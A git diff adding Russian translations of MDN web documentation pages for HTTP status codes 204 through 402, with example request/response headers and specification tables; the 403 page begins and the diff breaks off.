diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html
new file mode 100644
index 0000000000..c874bd3e14
--- /dev/null
+++ b/files/ru/web/http/status/204/index.html
@@ -0,0 +1,49 @@
+---
+title: 204 No Content
+slug: Web/HTTP/Status/204
+translation_of: Web/HTTP/Status/204
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>"The HTTP <strong><code>204 No Content"</code></strong> код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ <strong>204</strong>  кэшируется. В такой ответ включен  {{HTTPHeader("ETag")}}.</p>
+
+<p>Общим вариантом использования является возвращение <strong>204</strong> в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} <strong>Created</strong>. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">204 No Content</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "204")}}</p>
+
+<h2 id="Примечания_совместимости">Примечания совместимости</h2>
+
+<ul>
+ <li>Хотя этот статус код предназначен для описания ответа без тела, серверы могут ошибочно включать данные, следующие за заголовками. Протокол позволяет идентификаторам браузера изменять способ обработки таких ответов (<a href="https://github.com/httpwg/http11bis/issues/26">обсуждение этого текста спецификации можно найти здесь</a>). Это наблюдается в постоянных соединениях, где невалидное тело запроса может содержать отдельный ответ на последующий запрос.<br>
+  <br>
+  Apple Safari отклоняет любые такие данные. Google Chrome и Microsoft Edge отбрасывают до 4 невалидных байт, предшествующих правильному ответу.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ru/web/http/status/205/index.html b/files/ru/web/http/status/205/index.html
new file mode 100644
index 0000000000..60ec11ef5c
--- /dev/null
+++ b/files/ru/web/http/status/205/index.html
@@ -0,0 +1,35 @@
+---
+title: 205 Reset Content
+slug: Web/HTTP/Status/205
+translation_of: Web/HTTP/Status/205
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Статус ответа "HTTP <strong><code>205 Reset Content"</code></strong>сообщает клиенту об изменении вида документа, например, для очистки содержимого формы, сброса состояния холста или обновления пользовательского интерфейса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">205 Reset Content</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{HTTPStatus(204)}} No Content</li>
+</ul>
diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html
new file mode 100644
index 0000000000..d34fac6443
--- /dev/null
+++ b/files/ru/web/http/status/206/index.html
@@ -0,0 +1,83 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+translation_of: Web/HTTP/Status/206
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>"The HTTP <strong><code>206 Partial Content"</code></strong>код ответа на статус успешного  указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в  {{HTTPHeader("Range")}} запроса</p>
+
+<p>Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}</p>
+
+<p>Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение <strong>multipart/byteranges</strong>, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Ответ, содержащий один диапазон:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>Ответ, содержащий несколько диапазонов:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "206")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/300/index.html b/files/ru/web/http/status/300/index.html
new file mode 100644
index 0000000000..557a1f0f9a
--- /dev/null
+++ b/files/ru/web/http/status/300/index.html
@@ -0,0 +1,41 @@
+---
+title: 300 Multiple Choices
+slug: Web/HTTP/Status/300
+translation_of: Web/HTTP/Status/300
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на перенаправление "The HTTP <code><strong>300 Multiple Choices"</strong></code> указывает, что запрос имеет несколько возможных ответов. Пользователь-агент или пользователь должны выбрать один из них. Поскольку стандартного способа выбора одного из ответов нет, этот код ответа очень редко используется.</p>
+
+<p>Если сервер имеет предпочтительный выбор, он должен создать  {{HTTPHeader("Location")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">300 Multiple Choices</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>См. это: <a href="https://www.w3.org/Style/Examples/007/figures.ht">w3.org page for a Multiple Choice response</a>.</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+</ul>
diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html
new file mode 100644
index 0000000000..8456c79e66
--- /dev/null
+++ b/files/ru/web/http/status/301/index.html
@@ -0,0 +1,58 @@
+---
+title: 301 Moved Permanently
+slug: Web/HTTP/Status/301
+tags:
+  - HTTP
+  - Код ответа
+  - Перенаправление
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код перенаправления "<code><strong>301</strong></code><strong><code> Moved Permanently</code></strong>" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).</p>
+
+<p>Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код <strong>301 </strong>рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">301 Moved Permanently</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre class="notranslate">GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre class="notranslate">HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li>
+ <li>{{HTTPStatus("302", "302 Found")}}, временное перенаправление</li>
+</ul>
diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html
new file mode 100644
index 0000000000..34c5344642
--- /dev/null
+++ b/files/ru/web/http/status/302/index.html
@@ -0,0 +1,61 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+  - HTTP
+  - Код ответа
+  - Перенаправления
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP код перенаправления <code><strong>302</strong></code><strong><code> Found</code></strong> означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).</p>
+
+<p>Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код <code>302</code> только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.</p>
+
+<p>В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre>GET / HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre>HTTP/1.1 302 Found
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, эквивалент рассматриваемого кода ответа, но явно запрещающий изменение метода запроса.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, временное перенаправление, которое изменяет метод запроса на {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, постоянное перенаправление.</li>
+</ul>
diff --git a/files/ru/web/http/status/303/index.html b/files/ru/web/http/status/303/index.html
new file mode 100644
index 0000000000..2430ef3035
--- /dev/null
+++ b/files/ru/web/http/status/303/index.html
@@ -0,0 +1,57 @@
+---
+title: 303 See Other
+slug: Web/HTTP/Status/303
+tags:
+  - HTTP
+  - Код ответа
+  - Перенаправление
+translation_of: Web/HTTP/Status/303
+---
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<p>HTTP код перенаправления <code><strong>303</strong></code><strong><code> See Other</code></strong> обычно отправляется в результате {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}} запроса и указывает, что перенаправление производится не на новый (только что загруженный) ресурс, а на другую страницу, например, страницу подтверждения или страницу с результатами загрузки. Метод, используемый для отображения страницы, на которую производится перенаправление - всегда {{HTTPMethod("GET")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">303 See Other</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre class="line-numbers language-html"><code class="language-html">POST /api/items/delete HTTP/1.1
+Host: www.example.org</code></pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre>HTTP/1.1 303 See Other
+Location: /confirmation</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.303")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("302", "302 Found")}}, временное перенаправление</li>
+</ul>
diff --git a/files/ru/web/http/status/304/index.html b/files/ru/web/http/status/304/index.html
new file mode 100644
index 0000000000..1917737e6c
--- /dev/null
+++ b/files/ru/web/http/status/304/index.html
@@ -0,0 +1,46 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+translation_of: Web/HTTP/Status/304
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код "HTTP <strong>304 Not Modified</strong>" клиента указывает, что нет необходимости повторно передавать запрошенные ресурсы. Это неявное перенаправление на кэшированный ресурс. Это происходит, когда метод  {{glossary("safe")}}, например {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос или когда запрос является условным и использует {{HTTPHeader("If-None-Match")}} или {{HTTPHeader("If-Modified-Since")}}.</p>
+
+<p>Если эквивалентный ответ {{HTTPStatus("200")}} <code>OK</code> включал {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}} и {{HTTPHeader("Vary")}}.</p>
+
+<div class="note">
+<p>Многие  <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor">developer tools' network panels</a> браузеров создают посторонние запросы, приводящие к 304 ответам, так что доступ к локальному кешу виден разработчикам.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "304")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html
new file mode 100644
index 0000000000..8ffa791618
--- /dev/null
+++ b/files/ru/web/http/status/307/index.html
@@ -0,0 +1,66 @@
+---
+title: 307 Temporary Redirect
+slug: Web/HTTP/Status/307
+tags:
+  - HTTP
+  - Код ответа
+  - Перенаправление
+translation_of: Web/HTTP/Status/307
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>{{Glossary("HTTP")}} код перенаправления  <code><strong>307</strong> Temporary Redirect</code> означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.</p>
+
+<p>Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p>
+
+<p>Единственное различие между <code>307</code> и {{HTTPStatus("302")}} состоит в том, что <code>307</code> гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом <code>302</code> некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от <code>GET</code> и ответа с кодом <code>302</code> непредсказуемо, тогда как поведение в случае ответа с кодом <code>307</code> предсказуемо. Для запросов <code>GET</code> поведение идентично.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">307 Temporary Redirect
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre class="syntaxbox notranslate">DELETE /cars/oldest HTTP/1.1
+Host: www.example.org
+</pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre class="syntaxbox notranslate">HTTP/1.1 307 Temporary Redirect
+Location: http://www.example.org/cars/id/123456
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.307")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("302", "302 Found")}}, эквивалентен этому коду ответа, но может изменить метод запроса, если он отличается от {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, временное перенаправление, которе изменяет метод на {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, постоянное перенаправление</li>
+<li><a class="external" href="https://www.exai.com/blog/307-temporary-redirect" rel="noopener">307 Temporary Redirect</a></li>
+
+</ul>
diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html
new file mode 100644
index 0000000000..6416f1cf9c
--- /dev/null
+++ b/files/ru/web/http/status/308/index.html
@@ -0,0 +1,46 @@
+---
+title: 308 Permanent Redirect
+slug: Web/HTTP/Status/308
+translation_of: Web/HTTP/Status/308
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на статус перенаправления "HTTP <code><strong>308</strong></code><strong><code> Permanent Redirect"</code></strong> указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).</p>
+
+<p>Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.</p>
+
+<div class="note">
+<p>Некоторые веб-приложения могут использовать <strong>308 Permanent Redirect</strong> нестандартным образом и для других целей. Например, Google Drive использует ответ <strong>308 Resume Incomplete</strong>, чтобы указать клиенту, когда неполная загрузка застопорилась.<a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">308 Permanent Redirect</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td>
+   <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "308")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li>
+</ul>
diff --git a/files/ru/web/http/status/400/index.html b/files/ru/web/http/status/400/index.html
new file mode 100644
index 0000000000..14939c0e29
--- /dev/null
+++ b/files/ru/web/http/status/400/index.html
@@ -0,0 +1,33 @@
+---
+title: 400 Bad Request
+slug: Web/HTTP/Status/400
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния ответа "HTTP <strong>400 Bad Request</strong>" указывает, что сервер не смог понять запрос из-за недействительного синтаксиса. Клиент не должен повторять этот запрос без изменений.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">400 Bad Request </pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://www.exai.com/blog/400-bad-request-error">400 Bad Request</a></li>
+</ul>
diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html
new file mode 100644
index 0000000000..e093e7d774
--- /dev/null
+++ b/files/ru/web/http/status/401/index.html
@@ -0,0 +1,54 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на статус ошибки  HTTP <code>401 Unauthorized </code>клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.</p>
+
+<p>Этот статус отправляется с  {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.</p>
+
+<p>Этот статус похож на  {{HTTPStatus("403")}}, но в этом случае возможна аутентификация.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">401 Unauthorized</pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre class="notranslate">HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "401")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html
new file mode 100644
index 0000000000..e25ebef0f3
--- /dev/null
+++ b/files/ru/web/http/status/402/index.html
@@ -0,0 +1,49 @@
+---
+title: 402 Payment Required
+slug: Web/HTTP/Status/402
+translation_of: Web/HTTP/Status/402
+---
+<div>{{HTTPSidebar}}{{SeeCompatTable}}</div>
+
+<p>HTTP-ответ <strong><code>402 Payment Required</code></strong> это нестандартная ошибка клиента, зарезервированная для использования в будущем.</p>
+
+<p>Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиен не совершит оплату. Изначально создан для активации цифровых сретств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">402 Payment Required</pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre class="brush: bash">HTTP/1.1 402 Payment Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("http.status.402")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F">HTTP Авторизация</a></li>
+</ul>
diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html
new file mode 100644
index 0000000000..91222d7aef
--- /dev/null
+++ b/files/ru/web/http/status/403/index.html
@@ -0,0 +1,48 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
